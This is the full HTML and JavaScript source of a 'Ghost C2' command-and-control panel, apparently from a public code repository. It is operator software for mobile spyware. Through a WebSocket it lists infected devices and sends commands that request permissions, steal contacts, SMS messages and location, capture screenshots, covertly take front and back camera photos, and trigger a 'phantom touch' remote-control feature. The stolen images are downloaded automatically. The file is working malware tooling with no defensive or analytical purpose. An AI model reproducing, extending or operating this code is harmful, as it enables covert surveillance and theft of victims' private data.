ghost-c2-panel / admin.html
Xmaxyjod's picture
Create admin.html
3629fec verified
Raw
History Blame Contribute Delete
11.7 kB
<!DOCTYPE html>
<html>
<head>
<title>Ghost C2 (Phantom Touch)</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<style>
body { font-family: 'Courier New', monospace; background-color: #1a1a1a; color: #00ff00; }
#main { max-width: 800px; margin: auto; padding: 10px; }
h1, h2 { text-align: center; }
#server-status { padding: 10px; margin-bottom: 15px; font-weight: bold; text-align: center; border: 1px solid; }
.active { color: #00ff00; border-color: #00ff00; }
.inactive { color: #ff0000; border-color: #ff0000; }
#client-list { border: 1px solid #555; padding: 10px; margin-top: 15px; min-height: 100px; }
.client-box { border: 1px solid #00ff00; padding: 15px; margin-bottom: 15px; word-wrap: break-word; }
.section-title { color: #ffffff; font-weight: bold; margin-top: 15px; border-bottom: 1px solid #555; padding-bottom: 5px; margin-bottom: 10px; }
button { background: #333; border: 1px solid #00ff00; color: #00ff00; padding: 8px; cursor: pointer; margin-top: 5px; margin-right: 5px; font-size: 12px; }
.test-btn { border-color: #5bc0de; color: #5bc0de; }
.download-btn { border-color: #f0ad4e; color: #f0ad4e; width: 100%; }
.danger-btn { border-color: #ff0000; color: #ff0000; }
.control-panel button { width: 100%; margin-bottom: 5px; }
#logs { background: #000; border: 1px solid #555; height: 300px; overflow-y: auto; padding: 10px; margin-top: 15px; font-size: 14px; white-space: pre-wrap; word-wrap: break-word; }
.perm-status { display: inline-block; padding: 2px 8px; border-radius: 5px; font-size: 12px; margin-right: 10px; color: #000; }
.perm-on { background-color: #00ff00; }
.perm-off { background-color: #ff0000; }
.button-group { display: flex; justify-content: space-between; margin-bottom: 5px; }
.button-group button { width: 49%; margin: 0; }
/* --- YEH HAI NAYA STYLE PHANTOM TOUCH KE LIYE --- */
.phantom-btn { border-color: #9932CC; color: #9932CC; } /* Purple color */
</style>
</head>
<body>
<div id="main">
<h1>Ghost C2 Panel</h1>
<div id="server-status" class="inactive">SERVER STATUS: CONNECTING...</div>
<h2>Online Clients</h2>
<div id="client-list"><p id="no-clients-msg">Waiting for clients...</p></div>
<h2>Logs</h2>
<div id="logs"></div>
<button class="download-btn" onclick="downloadLogs()">Download Logs</button>
</div>
<script>
const serverStatus = document.getElementById('server-status');
const logsDiv = document.getElementById('logs');
const clientListDiv = document.getElementById('client-list');
let ws;
let heartbeatInterval = null;
const log = (msg) => {
logsDiv.innerHTML += `<p>> ${msg}</p>`;
logsDiv.scrollTop = logsDiv.scrollHeight;
};
function downloadLogs() {
const logText = logsDiv.innerText;
if (!logText || logText.trim() === "") {
log("Logs are empty. Nothing to download.");
return;
}
const blob = new Blob([logText], { type: 'text/plain' });
const link = document.createElement('a');
link.href = URL.createObjectURL(blob);
link.download = `ghost_logs_${Date.now()}.txt`;
document.body.appendChild(link);
link.click();
document.body.removeChild(link);
log("Log file download initiated.");
}
function downloadData(base64, deviceId, type) {
const isImage = type === 'screenshot' || type === 'photo';
const extension = isImage ? 'png' : 'txt';
const mimeType = isImage ? 'image/png' : 'text/plain';
const link = document.createElement('a');
link.href = `data:${mimeType};base64,` + base64;
link.download = `${type}_${deviceId}_${Date.now()}.${extension}`;
document.body.appendChild(link);
link.click();
document.body.removeChild(link);
log(`${type.charAt(0).toUpperCase() + type.slice(1)} download initiated for ${deviceId}.`);
}
function connect() {
const wsProtocol = location.protocol === 'https:' ? 'wss:' : 'ws:';
ws = new WebSocket(`${wsProtocol}//${location.host}/admin-ws`);
ws.onopen = () => {
serverStatus.textContent = 'SERVER STATUS: ACTIVE';
serverStatus.className = 'active';
clientListDiv.innerHTML = '<p id="no-clients-msg">Waiting for clients...</p>';
if (heartbeatInterval) clearInterval(heartbeatInterval);
heartbeatInterval = setInterval(() => {
if (ws.readyState === WebSocket.OPEN) {
ws.send(JSON.stringify({ type: 'admin_heartbeat' }));
}
}, 25000);
};
ws.onclose = () => {
serverStatus.textContent = 'SERVER STATUS: DISCONNECTED. Reconnecting...';
serverStatus.className = 'inactive';
if (heartbeatInterval) clearInterval(heartbeatInterval);
setTimeout(connect, 3000);
};
ws.onerror = (error) => {
log('WebSocket Error. Connection failed.');
ws.close();
};
ws.onmessage = (event) => {
const data = JSON.parse(event.data);
if (data.type === 'admin_heartbeat') return;
const clientId = data.clientId || 'server';
if ((data.type === 'screenshot_data' || data.type === 'photo_data') && data.image_base64) {
const dataType = data.type.includes('screenshot') ? 'screenshot' : 'photo';
log(`${dataType} received from ${clientId}!`);
downloadData(data.image_base64, clientId, dataType);
return;
}
log(`Response from ${clientId}:\n${JSON.stringify(data, null, 2)}`);
if (data.type === 'client_connected') {
addClientBox(data.id, data.info, data.permissions);
} else if (data.type === 'client_disconnected') {
removeClientBox(data.id);
} else if (data.permissions && data.clientId) {
updateAllPermissionStatus(data.clientId, data.permissions);
}
};
}
function addClientBox(deviceId, info, permissions) {
const noClientsMsg = document.getElementById('no-clients-msg');
if (document.getElementById(`client-${deviceId}`)) return;
if (noClientsMsg) noClientsMsg.style.display = 'none';
const clientBox = document.createElement('div');
clientBox.className = 'client-box';
clientBox.id = `client-${deviceId}`;
clientBox.innerHTML = `
<h3>ID: ${deviceId}</h3>
<div class="permissions" id="perms-${deviceId}"></div>
<div class="control-panel">
<p class="section-title">-- Basic Info --</p>
<button onclick="sendCommand('${deviceId}', 'get_device_info')">Get Device Info</button>
<button onclick="sendCommand('${deviceId}', 'get_battery')">Get Battery</button>
<p class="section-title">-- Permission Control --</p>
<button onclick="sendCommand('${deviceId}', 'request_permission', { permission_name: 'location' })">Request Location</button>
<button onclick="sendCommand('${deviceId}', 'request_permission', { permission_name: 'contacts' })">Request Contacts</button>
<button onclick="sendCommand('${deviceId}', 'request_permission', { permission_name: 'sms' })">Request SMS</button>
<button onclick="sendCommand('${deviceId}', 'request_permission', { permission_name: 'camera' })">Request Camera</button>
<button class="test-btn" onclick="sendCommand('${deviceId}', 'request_accessibility')">Request Accessibility</button>
<p class="section-title">-- Actions --</p>
<button onclick="sendCommand('${deviceId}', 'get_location')">Get Location</button>
<button onclick="sendCommand('${deviceId}', 'get_contacts')">Get Contacts</button>
<button onclick="sendCommand('${deviceId}', 'get_sms')">Get Messages</button>
<button class="danger-btn" onclick="sendCommand('${deviceId}', 'take_screenshot')">Take Screenshot</button>
<div class="button-group">
<button class="danger-btn" onclick="sendCommand('${deviceId}', 'take_photo', { camera_type: 'front' })">Front Cam</button>
<button class="danger-btn" onclick="sendCommand('${deviceId}', 'take_photo', { camera_type: 'back' })">Back Cam</button>
</div>
<!-- === YEH HAIN NAYE PHANTOM TOUCH BUTTONS === -->
<p class="section-title">-- Advanced Actions --</p>
<div class="button-group">
<button class="phantom-btn" onclick="sendCommand('${deviceId}', 'start_phantom_touch')">Start Phantom Touch</button>
<button class="phantom-btn" onclick="sendCommand('${deviceId}', 'stop_phantom_touch')">Stop Phantom Touch</button>
</div>
</div>
`;
clientListDiv.appendChild(clientBox);
updateAllPermissionStatus(deviceId, permissions || {});
}
function updateAllPermissionStatus(deviceId, permissions) {
const permsDiv = document.getElementById(`perms-${deviceId}`);
if (!permsDiv) return;
const permNames = ['accessibility', 'location', 'contacts', 'sms', 'camera'];
let permsHTML = '';
permNames.forEach(name => {
if (permissions.hasOwnProperty(name)) {
const status = permissions[name] ? 'on' : 'off';
const displayName = name.charAt(0).toUpperCase() + name.slice(1);
permsHTML += `<span class="perm-status perm-${status}">${displayName}</span>`;
}
});
permsDiv.innerHTML = permsHTML;
}
function removeClientBox(deviceId) {
const clientBox = document.getElementById(`client-${deviceId}`);
if (clientBox) clientBox.remove();
const clientBoxes = clientListDiv.querySelectorAll('.client-box');
const noClientsMsg = document.getElementById('no-clients-msg');
if (clientBoxes.length === 0 && noClientsMsg) {
noClientsMsg.style.display = 'block';
}
}
function sendCommand(targetId, cmd, params = {}) {
if (ws && ws.readyState === WebSocket.OPEN) {
const payload = { targetId, command: cmd, ...params };
ws.send(JSON.stringify(payload));
log(`Command sent to ${targetId}: ${JSON.stringify({ command: cmd, ...params })}`);
} else {
log('Cannot send command. WebSocket is not connected.');
}
}
connect();
</script>
</body>
</html>